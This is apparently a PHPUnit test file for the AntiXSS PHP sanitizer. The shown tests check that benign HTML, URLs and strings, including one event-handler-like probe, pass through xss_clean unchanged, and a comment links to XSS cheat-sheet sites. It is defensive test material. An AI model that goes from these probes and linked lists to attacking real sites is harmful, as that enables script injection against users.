/
XssTest.php
2146 lines (1923 loc) · 335 KB
/
XssTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
declare(strict_types=1);
use voku\helper\AntiXSS;
use voku\helper\UTF8;
/**
* Class XssTest
*
* @internal
*/
final class XssTest extends \PHPUnit\Framework\TestCase
{
// INFO: here you can find some more tests
//
// - https://www.xssposed.org/incidents/
// - http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawed_TESTCASE.txt
// - http://htmlpurifier.org/live/smoketests/xssAttacks.php
// - http://hackingforsecurity.blogspot.de/2013/11/xss-cheat-sheet-huge-list.html
public function testNoXssUrlWithJson()
{
$testArray = [
'http://foo.bar/tpl_preview.php?pid=122&json=%7B%22recipe_id%22%3A-1%2C%22recipe_created%22%3A%22%22%2C%22recipe_title%22%3A%22vxcvxc%22%2C%22recipe_description%22%3A%22%22%2C%22recipe_yield%22%3A0%2C%22recipe_prepare_time%22%3A0%2C%22recipe_image%22%3A%22%22%2C%22recipe_legal%22%3A0%2C%22recipe_live%22%3A0%2C%22recipe_user_guid%22%3A%22%22%2C%22recipe_category_id%22%3A%5B%5D%2C%22recipe_category_name%22%3A%5B%5D%2C%22recipe_variety_id%22%3A%5B%5D%2C%22recipe_variety_name%22%3A%5B%5D%2C%22recipe_tag_id%22%3A%5B%5D%2C%22recipe_tag_name%22%3A%5B%5D%2C%22recipe_instruction_id%22%3A%5B%5D%2C%22recipe_instruction_text%22%3A%5B%5D%2C%22recipe_ingredient_id%22%3A%5B%5D%2C%22recipe_ingredient_name%22%3A%5B%5D%2C%22recipe_ingredient_amount%22%3A%5B%5D%2C%22recipe_ingredient_unit%22%3A%5B%5D%2C%22formMatchingArray%22%3A%7B%22unites%22%3A%5B%22Becher%22%2C%22Beete%22%2C%22Beutel%22%2C%22Blatt%22%2C%22Bl%5Cu00e4tter%22%2C%22Bund%22%2C%22B%5Cu00fcndel%22%2C%22cl%22%2C%22cm%22%2C%22dicke%22%2C%22dl%22%2C%22Dose%22%2C%22Dose%5C%2Fn%22%2C%22d%5Cu00fcnne%22%2C%22Ecke%28n%29%22%2C%22Eimer%22%2C%22einige%22%2C%22einige+Stiele%22%2C%22EL%22%2C%22EL%2C+geh%5Cu00e4uft%22%2C%22EL%2C+gestr.%22%2C%22etwas%22%2C%22evtl.%22%2C%22extra%22%2C%22Fl%5Cu00e4schchen%22%2C%22Flasche%22%2C%22Flaschen%22%2C%22g%22%2C%22Glas%22%2C%22Gl%5Cu00e4ser%22%2C%22gr.+Dose%5C%2Fn%22%2C%22gr.+Fl.%22%2C%22gro%5Cu00dfe%22%2C%22gro%5Cu00dfen%22%2C%22gro%5Cu00dfer%22%2C%22gro%5Cu00dfes%22%2C%22halbe%22%2C%22Halm%28e%29%22%2C%22Handvoll%22%2C%22K%5Cu00e4stchen%22%2C%22kg%22%2C%22kl.+Bund%22%2C%22kl.+Dose%5C%2Fn%22%2C%22kl.+Glas%22%2C%22kl.+Kopf%22%2C%22kl.+Scheibe%28n%29%22%2C%22kl.+St%5Cu00fcck%28e%29%22%2C%22kl.Flasche%5C%2Fn%22%2C%22kleine%22%2C%22kleinen%22%2C%22kleiner%22%2C%22kleines%22%2C%22Knolle%5C%2Fn%22%2C%22Kopf%22%2C%22K%5Cu00f6pfe%22%2C%22K%5Cu00f6rner%22%2C%22Kugel%22%2C%22Kugel%5C%2Fn%22%2C%22Kugeln%22%2C%22Liter%22%2C%22m.-gro%5Cu00dfe%22%2C%22m.-gro%5Cu00dfer%22%2C%22m.-gro%5Cu00dfes%22%2C%22mehr%22%2C%22mg%22%2C%22ml%22%2C%22Msp.%22%2C%22n.+B.%22%2C%22Paar%22%2C%22Paket%22%2C%22Pck.%22%2C%22Pkt.%22%2C%22Platte%5C%2Fn%22%2C%22Port.%22%2C%22Prise%28n%29%22%2C%22Prisen%22%2C%22Prozent+%25%22%2C%22Riegel%22%2C%22Ring%5C%2Fe%22%2C%22Rippe%5C%2Fn%22%2C%22Rolle%28n%29%22%2C%22Sch%5Cu00e4lchen%22%2C%22Scheibe%5C%2Fn%22%2C%22Schuss%22%2C%22Spritzer%22%2C%22Stange%5C%2Fn%22%2C%22St%5Cu00e4ngel%22%2C%22Stiel%5C%2Fe%22%2C%22Stiele%22%2C%22St%5Cu00fcck%28e%29%22%2C%22Tafel%22%2C%22Tafeln%22%2C%22Tasse%22%2C%22Tasse%5C%2Fn%22%2C%22Teil%5C%2Fe%22%2C%22TL%22%2C%22TL+%28geh%5Cu00e4uft%29%22%2C%22TL+%28gestr.%29%22%2C%22Topf%22%2C%22Tropfen%22%2C%22Tube%5C%2Fn%22%2C%22T%5Cu00fcte%5C%2Fn%22%2C%22viel%22%2C%22wenig%22%2C%22W%5Cu00fcrfel%22%2C%22Wurzel%22%2C%22Wurzel%5C%2Fn%22%2C%22Zehe%5C%2Fn%22%2C%22Zweig%5C%2Fe%22%5D%2C%22yield%22%3A%7B%221%22%3A%221+Portion%22%2C%222%22%3A%222+Portionen%22%2C%223%22%3A%223+Portionen%22%2C%224%22%3A%224+Portionen%22%2C%225%22%3A%225+Portionen%22%2C%226%22%3A%226+Portionen%22%2C%227%22%3A%227+Portionen%22%2C%228%22%3A%228+Portionen%22%2C%229%22%3A%229+Portionen%22%2C%2210%22%3A%2210+Portionen%22%2C%2211%22%3A%2211+Portionen%22%2C%2212%22%3A%2212+Portionen%22%7D%2C%22prepare_time%22%3A%7B%221%22%3A%22schnell%22%2C%222%22%3A%22mittel%22%2C%223%22%3A%22aufwendig%22%7D%2C%22category%22%3A%7B%221%22%3A%22Vorspeise%22%2C%222%22%3A%22Suppe%22%2C%223%22%3A%22Salat%22%2C%224%22%3A%22Hauptspeise%22%2C%225%22%3A%22Beilage%22%2C%226%22%3A%22Nachtisch%5C%2FDessert%22%2C%227%22%3A%22Getr%5Cu00e4nke%22%2C%228%22%3A%22B%5Cu00fcffet%22%2C%229%22%3A%22Fr%5Cu00fchst%5Cu00fcck%5C%2FBrunch%22%7D%2C%22variety%22%3A%7B%221%22%3A%22Basmati+Reis%22%2C%222%22%3A%22Basmati+%26amp%3B+Wild+Reis%22%2C%223%22%3A%22R%5Cu00e4ucherreis%22%2C%224%22%3A%22Jasmin+Reis%22%2C%225%22%3A%221121+Basmati+Wunderreis%22%2C%226%22%3A%22Spitzen+Langkorn+Reis%22%2C%227%22%3A%22Wildreis%22%2C%228%22%3A%22Naturreis%22%2C%229%22%3A%22Sushi+Reis%22%7D%2C%22tag--ingredient%22%3A%7B%221%22%3A%22Eier%22%2C%222%22%3A%22Gem%5Cu00fcse%22%2C%223%22%3A%22Getreide%22%2C%224%22%3A%22Fisch%22%2C%225%22%3A%22Fleisch%22%2C%226%22%3A%22Meeresfr%5Cu00fcchte%22%2C%227%22%3A%22Milchprodukte%22%2C%228%22%3A%22Obst%22%2C%229%22%3A%22Salat%22%7D%2C%22tag--preparation%22%3A%7B%2210%22%3A%22Backen%22%2C%2211%22%3A%22Blanchieren%22%2C%2212%22%3A%22Braten%5C%2FSchmoren%22%2C%2213%22%3A%22D%5Cu00e4mpfen%5C%2FD%5Cu00fcnsten%22%2C%2214%22%3A%22Einmachen%22%2C%2215%22%3A%22Frittieren%22%2C%2216%22%3A%22Gratinieren%5C%2F%5Cu00dcberbacken%22%2C%2217%22%3A%22Grillen%22%2C%2218%22%3A%22Kochen%22%7D%2C%22tag--kitchen%22%3A%7B%2219%22%3A%22Afrikanisch%22%2C%2220%22%3A%22Alpenk%5Cu00fcche%22%2C%2221%22%3A%22Asiatisch%22%2C%2222%22%3A%22Deutsch+%28regional%29%22%2C%2223%22%3A%22Franz%5Cu00f6sisch%22%2C%2224%22%3A%22Mediterran%22%2C%2225%22%3A%22Orientalisch%22%2C%2226%22%3A%22Osteurop%5Cu00e4isch%22%2C%2227%22%3A%22Skandinavisch%22%2C%2228%22%3A%22S%5Cu00fcdamerikanisch%22%2C%2229%22%3A%22US-Amerikanisch%22%2C%2230%22%3A%22%22%7D%2C%22tag--difficulty%22%3A%7B%2231%22%3A%22Einfach%22%2C%2232%22%3A%22Mittelschwer%22%2C%2233%22%3A%22Anspruchsvoll%22%7D%2C%22tag--feature%22%3A%7B%2234%22%3A%22Gut+vorzubereiten%22%2C%2235%22%3A%22Kalorienarm+%5C%2F+leicht%22%2C%2236%22%3A%22Klassiker%22%2C%2237%22%3A%22Preiswert%22%2C%2238%22%3A%22Raffiniert%22%2C%2239%22%3A%22Vegetarisch+%5C%2F+Vegan%22%2C%2240%22%3A%22Vitaminreich%22%2C%2241%22%3A%22Vollwert%22%2C%2242%22%3A%22%22%7D%2C%22tag%22%3A%7B%221%22%3A%22Eier%22%2C%222%22%3A%22Gem%5Cu00fcse%22%2C%223%22%3A%22Getreide%22%2C%224%22%3A%22Fisch%22%2C%225%22%3A%22Fleisch%22%2C%226%22%3A%22Meeresfr%5Cu00fcchte%22%2C%227%22%3A%22Milchprodukte%22%2C%228%22%3A%22Obst%22%2C%229%22%3A%22Salat%22%2C%2210%22%3A%22Backen%22%2C%2211%22%3A%22Blanchieren%22%2C%2212%22%3A%22Braten%5C%2FSchmoren%22%2C%2213%22%3A%22D%5Cu00e4mpfen%5C%2FD%5Cu00fcnsten%22%2C%2214%22%3A%22Einmachen%22%2C%2215%22%3A%22Frittieren%22%2C%2216%22%3A%22Gratinieren%5C%2F%5Cu00dcberbacken%22%2C%2217%22%3A%22Grillen%22%2C%2218%22%3A%22Kochen%22%2C%2219%22%3A%22Afrikanisch%22%2C%2220%22%3A%22Alpenk%5Cu00fcche%22%2C%2221%22%3A%22Asiatisch%22%2C%2222%22%3A%22Deutsch+%28regional%29%22%2C%2223%22%3A%22Franz%5Cu00f6sisch%22%2C%2224%22%3A%22Mediterran%22%2C%2225%22%3A%22Orientalisch%22%2C%2226%22%3A%22Osteurop%5Cu00e4isch%22%2C%2227%22%3A%22Skandinavisch%22%2C%2228%22%3A%22S%5Cu00fcdamerikanisch%22%2C%2229%22%3A%22US-Amerikanisch%22%2C%2230%22%3A%22%22%2C%2231%22%3A%22Einfach%22%2C%2232%22%3A%22Mittelschwer%22%2C%2233%22%3A%22Anspruchsvoll%22%2C%2234%22%3A%22Gut+vorzubereiten%22%2C%2235%22%3A%22Kalorienarm+%5C%2F+leicht%22%2C%2236%22%3A%22Klassiker%22%2C%2237%22%3A%22Preiswert%22%2C%2238%22%3A%22Raffiniert%22%2C%2239%22%3A%22Vegetarisch+%5C%2F+Vegan%22%2C%2240%22%3A%22Vitaminreich%22%2C%2241%22%3A%22Vollwert%22%2C%2242%22%3A%22%22%7D%7D%2C%22errorArray%22%3A%7B%22recipe_prepare_time%22%3A%22error%22%2C%22recipe_yield%22%3A%22error%22%2C%22recipe_category_name%22%3A%22error%22%2C%22recipe_tag_name%22%3A%22error%22%2C%22recipe_instruction_text%22%3A%22error%22%2C%22recipe_ingredient_name%22%3A%22error%22%7D%2C%22errorMessage%22%3A%22Bitte+f%5Cu00fclle+die+rot+markierten+Felder+korrekt+aus.%22%2C%22db%22%3A%7B%22query_count%22%3A20%7D%7D' => 'http://foo.bar/tpl_preview.php?pid=122&json=%7B%22recipe_id%22%3A-1%2C%22recipe_created%22%3A%22%22%2C%22recipe_title%22%3A%22vxcvxc%22%2C%22recipe_description%22%3A%22%22%2C%22recipe_yield%22%3A0%2C%22recipe_prepare_time%22%3A0%2C%22recipe_image%22%3A%22%22%2C%22recipe_legal%22%3A0%2C%22recipe_live%22%3A0%2C%22recipe_user_guid%22%3A%22%22%2C%22recipe_category_id%22%3A%5B%5D%2C%22recipe_category_name%22%3A%5B%5D%2C%22recipe_variety_id%22%3A%5B%5D%2C%22recipe_variety_name%22%3A%5B%5D%2C%22recipe_tag_id%22%3A%5B%5D%2C%22recipe_tag_name%22%3A%5B%5D%2C%22recipe_instruction_id%22%3A%5B%5D%2C%22recipe_instruction_text%22%3A%5B%5D%2C%22recipe_ingredient_id%22%3A%5B%5D%2C%22recipe_ingredient_name%22%3A%5B%5D%2C%22recipe_ingredient_amount%22%3A%5B%5D%2C%22recipe_ingredient_unit%22%3A%5B%5D%2C%22formMatchingArray%22%3A%7B%22unites%22%3A%5B%22Becher%22%2C%22Beete%22%2C%22Beutel%22%2C%22Blatt%22%2C%22Bl%5Cu00e4tter%22%2C%22Bund%22%2C%22B%5Cu00fcndel%22%2C%22cl%22%2C%22cm%22%2C%22dicke%22%2C%22dl%22%2C%22Dose%22%2C%22Dose%5C%2Fn%22%2C%22d%5Cu00fcnne%22%2C%22Ecke%28n%29%22%2C%22Eimer%22%2C%22einige%22%2C%22einige+Stiele%22%2C%22EL%22%2C%22EL%2C+geh%5Cu00e4uft%22%2C%22EL%2C+gestr.%22%2C%22etwas%22%2C%22evtl.%22%2C%22extra%22%2C%22Fl%5Cu00e4schchen%22%2C%22Flasche%22%2C%22Flaschen%22%2C%22g%22%2C%22Glas%22%2C%22Gl%5Cu00e4ser%22%2C%22gr.+Dose%5C%2Fn%22%2C%22gr.+Fl.%22%2C%22gro%5Cu00dfe%22%2C%22gro%5Cu00dfen%22%2C%22gro%5Cu00dfer%22%2C%22gro%5Cu00dfes%22%2C%22halbe%22%2C%22Halm%28e%29%22%2C%22Handvoll%22%2C%22K%5Cu00e4stchen%22%2C%22kg%22%2C%22kl.+Bund%22%2C%22kl.+Dose%5C%2Fn%22%2C%22kl.+Glas%22%2C%22kl.+Kopf%22%2C%22kl.+Scheibe%28n%29%22%2C%22kl.+St%5Cu00fcck%28e%29%22%2C%22kl.Flasche%5C%2Fn%22%2C%22kleine%22%2C%22kleinen%22%2C%22kleiner%22%2C%22kleines%22%2C%22Knolle%5C%2Fn%22%2C%22Kopf%22%2C%22K%5Cu00f6pfe%22%2C%22K%5Cu00f6rner%22%2C%22Kugel%22%2C%22Kugel%5C%2Fn%22%2C%22Kugeln%22%2C%22Liter%22%2C%22m.-gro%5Cu00dfe%22%2C%22m.-gro%5Cu00dfer%22%2C%22m.-gro%5Cu00dfes%22%2C%22mehr%22%2C%22mg%22%2C%22ml%22%2C%22Msp.%22%2C%22n.+B.%22%2C%22Paar%22%2C%22Paket%22%2C%22Pck.%22%2C%22Pkt.%22%2C%22Platte%5C%2Fn%22%2C%22Port.%22%2C%22Prise%28n%29%22%2C%22Prisen%22%2C%22Prozent+%25%22%2C%22Riegel%22%2C%22Ring%5C%2Fe%22%2C%22Rippe%5C%2Fn%22%2C%22Rolle%28n%29%22%2C%22Sch%5Cu00e4lchen%22%2C%22Scheibe%5C%2Fn%22%2C%22Schuss%22%2C%22Spritzer%22%2C%22Stange%5C%2Fn%22%2C%22St%5Cu00e4ngel%22%2C%22Stiel%5C%2Fe%22%2C%22Stiele%22%2C%22St%5Cu00fcck%28e%29%22%2C%22Tafel%22%2C%22Tafeln%22%2C%22Tasse%22%2C%22Tasse%5C%2Fn%22%2C%22Teil%5C%2Fe%22%2C%22TL%22%2C%22TL+%28geh%5Cu00e4uft%29%22%2C%22TL+%28gestr.%29%22%2C%22Topf%22%2C%22Tropfen%22%2C%22Tube%5C%2Fn%22%2C%22T%5Cu00fcte%5C%2Fn%22%2C%22viel%22%2C%22wenig%22%2C%22W%5Cu00fcrfel%22%2C%22Wurzel%22%2C%22Wurzel%5C%2Fn%22%2C%22Zehe%5C%2Fn%22%2C%22Zweig%5C%2Fe%22%5D%2C%22yield%22%3A%7B%221%22%3A%221+Portion%22%2C%222%22%3A%222+Portionen%22%2C%223%22%3A%223+Portionen%22%2C%224%22%3A%224+Portionen%22%2C%225%22%3A%225+Portionen%22%2C%226%22%3A%226+Portionen%22%2C%227%22%3A%227+Portionen%22%2C%228%22%3A%228+Portionen%22%2C%229%22%3A%229+Portionen%22%2C%2210%22%3A%2210+Portionen%22%2C%2211%22%3A%2211+Portionen%22%2C%2212%22%3A%2212+Portionen%22%7D%2C%22prepare_time%22%3A%7B%221%22%3A%22schnell%22%2C%222%22%3A%22mittel%22%2C%223%22%3A%22aufwendig%22%7D%2C%22category%22%3A%7B%221%22%3A%22Vorspeise%22%2C%222%22%3A%22Suppe%22%2C%223%22%3A%22Salat%22%2C%224%22%3A%22Hauptspeise%22%2C%225%22%3A%22Beilage%22%2C%226%22%3A%22Nachtisch%5C%2FDessert%22%2C%227%22%3A%22Getr%5Cu00e4nke%22%2C%228%22%3A%22B%5Cu00fcffet%22%2C%229%22%3A%22Fr%5Cu00fchst%5Cu00fcck%5C%2FBrunch%22%7D%2C%22variety%22%3A%7B%221%22%3A%22Basmati+Reis%22%2C%222%22%3A%22Basmati+%26amp%3B+Wild+Reis%22%2C%223%22%3A%22R%5Cu00e4ucherreis%22%2C%224%22%3A%22Jasmin+Reis%22%2C%225%22%3A%221121+Basmati+Wunderreis%22%2C%226%22%3A%22Spitzen+Langkorn+Reis%22%2C%227%22%3A%22Wildreis%22%2C%228%22%3A%22Naturreis%22%2C%229%22%3A%22Sushi+Reis%22%7D%2C%22tag--ingredient%22%3A%7B%221%22%3A%22Eier%22%2C%222%22%3A%22Gem%5Cu00fcse%22%2C%223%22%3A%22Getreide%22%2C%224%22%3A%22Fisch%22%2C%225%22%3A%22Fleisch%22%2C%226%22%3A%22Meeresfr%5Cu00fcchte%22%2C%227%22%3A%22Milchprodukte%22%2C%228%22%3A%22Obst%22%2C%229%22%3A%22Salat%22%7D%2C%22tag--preparation%22%3A%7B%2210%22%3A%22Backen%22%2C%2211%22%3A%22Blanchieren%22%2C%2212%22%3A%22Braten%5C%2FSchmoren%22%2C%2213%22%3A%22D%5Cu00e4mpfen%5C%2FD%5Cu00fcnsten%22%2C%2214%22%3A%22Einmachen%22%2C%2215%22%3A%22Frittieren%22%2C%2216%22%3A%22Gratinieren%5C%2F%5Cu00dcberbacken%22%2C%2217%22%3A%22Grillen%22%2C%2218%22%3A%22Kochen%22%7D%2C%22tag--kitchen%22%3A%7B%2219%22%3A%22Afrikanisch%22%2C%2220%22%3A%22Alpenk%5Cu00fcche%22%2C%2221%22%3A%22Asiatisch%22%2C%2222%22%3A%22Deutsch+%28regional%29%22%2C%2223%22%3A%22Franz%5Cu00f6sisch%22%2C%2224%22%3A%22Mediterran%22%2C%2225%22%3A%22Orientalisch%22%2C%2226%22%3A%22Osteurop%5Cu00e4isch%22%2C%2227%22%3A%22Skandinavisch%22%2C%2228%22%3A%22S%5Cu00fcdamerikanisch%22%2C%2229%22%3A%22US-Amerikanisch%22%2C%2230%22%3A%22%22%7D%2C%22tag--difficulty%22%3A%7B%2231%22%3A%22Einfach%22%2C%2232%22%3A%22Mittelschwer%22%2C%2233%22%3A%22Anspruchsvoll%22%7D%2C%22tag--feature%22%3A%7B%2234%22%3A%22Gut+vorzubereiten%22%2C%2235%22%3A%22Kalorienarm+%5C%2F+leicht%22%2C%2236%22%3A%22Klassiker%22%2C%2237%22%3A%22Preiswert%22%2C%2238%22%3A%22Raffiniert%22%2C%2239%22%3A%22Vegetarisch+%5C%2F+Vegan%22%2C%2240%22%3A%22Vitaminreich%22%2C%2241%22%3A%22Vollwert%22%2C%2242%22%3A%22%22%7D%2C%22tag%22%3A%7B%221%22%3A%22Eier%22%2C%222%22%3A%22Gem%5Cu00fcse%22%2C%223%22%3A%22Getreide%22%2C%224%22%3A%22Fisch%22%2C%225%22%3A%22Fleisch%22%2C%226%22%3A%22Meeresfr%5Cu00fcchte%22%2C%227%22%3A%22Milchprodukte%22%2C%228%22%3A%22Obst%22%2C%229%22%3A%22Salat%22%2C%2210%22%3A%22Backen%22%2C%2211%22%3A%22Blanchieren%22%2C%2212%22%3A%22Braten%5C%2FSchmoren%22%2C%2213%22%3A%22D%5Cu00e4mpfen%5C%2FD%5Cu00fcnsten%22%2C%2214%22%3A%22Einmachen%22%2C%2215%22%3A%22Frittieren%22%2C%2216%22%3A%22Gratinieren%5C%2F%5Cu00dcberbacken%22%2C%2217%22%3A%22Grillen%22%2C%2218%22%3A%22Kochen%22%2C%2219%22%3A%22Afrikanisch%22%2C%2220%22%3A%22Alpenk%5Cu00fcche%22%2C%2221%22%3A%22Asiatisch%22%2C%2222%22%3A%22Deutsch+%28regional%29%22%2C%2223%22%3A%22Franz%5Cu00f6sisch%22%2C%2224%22%3A%22Mediterran%22%2C%2225%22%3A%22Orientalisch%22%2C%2226%22%3A%22Osteurop%5Cu00e4isch%22%2C%2227%22%3A%22Skandinavisch%22%2C%2228%22%3A%22S%5Cu00fcdamerikanisch%22%2C%2229%22%3A%22US-Amerikanisch%22%2C%2230%22%3A%22%22%2C%2231%22%3A%22Einfach%22%2C%2232%22%3A%22Mittelschwer%22%2C%2233%22%3A%22Anspruchsvoll%22%2C%2234%22%3A%22Gut+vorzubereiten%22%2C%2235%22%3A%22Kalorienarm+%5C%2F+leicht%22%2C%2236%22%3A%22Klassiker%22%2C%2237%22%3A%22Preiswert%22%2C%2238%22%3A%22Raffiniert%22%2C%2239%22%3A%22Vegetarisch+%5C%2F+Vegan%22%2C%2240%22%3A%22Vitaminreich%22%2C%2241%22%3A%22Vollwert%22%2C%2242%22%3A%22%22%7D%7D%2C%22errorArray%22%3A%7B%22recipe_prepare_time%22%3A%22error%22%2C%22recipe_yield%22%3A%22error%22%2C%22recipe_category_name%22%3A%22error%22%2C%22recipe_tag_name%22%3A%22error%22%2C%22recipe_instruction_text%22%3A%22error%22%2C%22recipe_ingredient_name%22%3A%22error%22%7D%2C%22errorMessage%22%3A%22Bitte+f%5Cu00fclle+die+rot+markierten+Felder+korrekt+aus.%22%2C%22db%22%3A%7B%22query_count%22%3A20%7D%7D',
];
foreach ($testArray as $before => $after) {
static::assertSame($after, (new AntiXSS())->xss_clean($before), 'testing: ' . $before);
}
}
public function testNoXss()
{
// init
$antiXss = new AntiXSS();
$testArray = [
'<nav class="top-bar" data-topbar data-options="back_text: Zurück"><ul><li>foo</li><li>bar</li></ul></nav>' => '<nav class="top-bar" data-topbar data-options="back_text: Zurück"><ul><li>foo</li><li>bar</li></ul></nav>',
'<a href="http://suckup.de/about">About</a>' => '<a href="http://suckup.de/about">About</a>',
"<a href='http://suckup.de/about'>About</a>" => "<a href='http://suckup.de/about'>About</a>",
'<a href="http://moelleken.org/Kontakt/" class="mail"><i class="fa fa-envelope fa-3x"></i></a>' => '<a href="http://moelleken.org/Kontakt/" class="mail"><i class="fa fa-envelope fa-3x"></i></a>',
'<a href="https://plus.google.com/u/0/115714615799970937533/about" rel="me" title="Add Me To Your Circle"><i class="fa fa-google-plus fa-3x"></i></a>' => '<a href="https://plus.google.com/u/0/115714615799970937533/about" rel="me" title="Add Me To Your Circle"><i class="fa fa-google-plus fa-3x"></i></a>',
'eval is evil and xss is bad, but this is only a string : ...' => 'eval is evil and xss is bad, but this is only a string : ...',
'<a href="https://test.com?lall=123&lall=312">test&</a>' => '<a href="https://test.com?lall=123&lall=312">test&</a>',
'<a href="https://test.com?lall=123&lall=312">test&</a>' => '<a href="https://test.com?lall=123&lall=312">test&</a>',
'<a href="https://test.com?lall=123&lall=312&lall=999">test&</a>' => '<a href="https://test.com?lall=123&lall=312&lall=999">test&</a>',
'<p><h1><a href="https://mbd.baidu.com/newspage/data/landingsuper?context=%7B%22nid%22%3A%22news_15446515888862039806%22%7D&n_type=0&p_from=1" target="_blank">Special url</a></h1> User content %7B%7B Test 123</p>' => '<p><h1><a href="https://mbd.baidu.com/newspage/data/landingsuper?context=%7B%22nid%22%3A%22news_15446515888862039806%22%7D&n_type=0&p_from=1" target="_blank">Special url</a></h1> User content %7B%7B Test 123</p>',
'<a href="https://mbd.baidu.com/newspage/data/landingsuper?context=%7B%22nid%22%3A%22news_15446515888862039806%22%7D&n_type=0&p_from=1" target="_blank">Valid Link</a>' => '<a href="https://mbd.baidu.com/newspage/data/landingsuper?context=%7B%22nid%22%3A%22news_15446515888862039806%22%7D&n_type=0&p_from=1" target="_blank">Valid Link</a>',
'<a href="https://mbd.baidu.com/newspage/data/landingsuper?context=%7B%22nid%22%3A%22news_15446515888862039806%22%7D&n_type=0&p_from=1" target="_blank">Valid Link</a>' => '<a href="https://mbd.baidu.com/newspage/data/landingsuper?context=%7B%22nid%22%3A%22news_15446515888862039806%22%7D&n_type=0&p_from=1" target="_blank">Valid Link</a>',
'' => '',
' ' => ' ',
null => '',
true => 1,
false => 0,
0 => 0,
'0.0' => '0.0',
'GOM-KC-350+550' => 'GOM-KC-350+550',
'Chassis+FanTray10G-VSS' => 'Chassis+FanTray10G-VSS', // issue #34
'3+ years of experience' => '3+ years of experience',
' foo ' . "\xe2\x80\xa8" . ' öäü' . "\xe2\x80\xa9" => ' foo ' . "\xe2\x80\xa8" . ' öäü' . "\xe2\x80\xa9",
" foo\t foo " => ' foo foo ',
'a="get";' => 'a="get";',
'<x 1=">" onxxx=1 (text outside tag)' => '<x 1=">" onxxx=1 (text outside tag)',
'<a href="https://url.com" target="_blank" style="color: rgb(0, 161, 222);">Click Here for the 2017 Summit Review</a>' => '<a href="https://url.com" target="_blank" style="color: rgb(0, 161, 222);">Click Here for the 2017 Summit Review</a>',
'<a href="https://url.com" target="_blank">Click Here for the 2017 Summit Review</a>' => '<a href="https://url.com" target="_blank">Click Here for the 2017 Summit Review</a>',
'foo Mondragon bar' => 'foo Mondragon bar',
'Mondragon' => 'Mondragon',
'Mondragßon' => 'Mondragßon',
'MONDRAGÓN' => 'MONDRAGÓN',
'MONDRAGÓN ' => 'MONDRAGÓN ',
' MONDRAGÓN' => ' MONDRAGÓN',
' MONDRAGÓN ' => ' MONDRAGÓN ',
'!MONDRAGÓN!' => '!MONDRAGÓN!',
'!MONDRAGÓN' => '!MONDRAGÓN',
'MONDRAGÓN!' => 'MONDRAGÓN!',
'alert || document || write || Mondragon' => 'alert || document || write || Mondragon',
'DE VAL HERNANDEZ || DE VAL LOPEZ' => 'DE VAL HERNANDEZ || DE VAL LOPEZ',
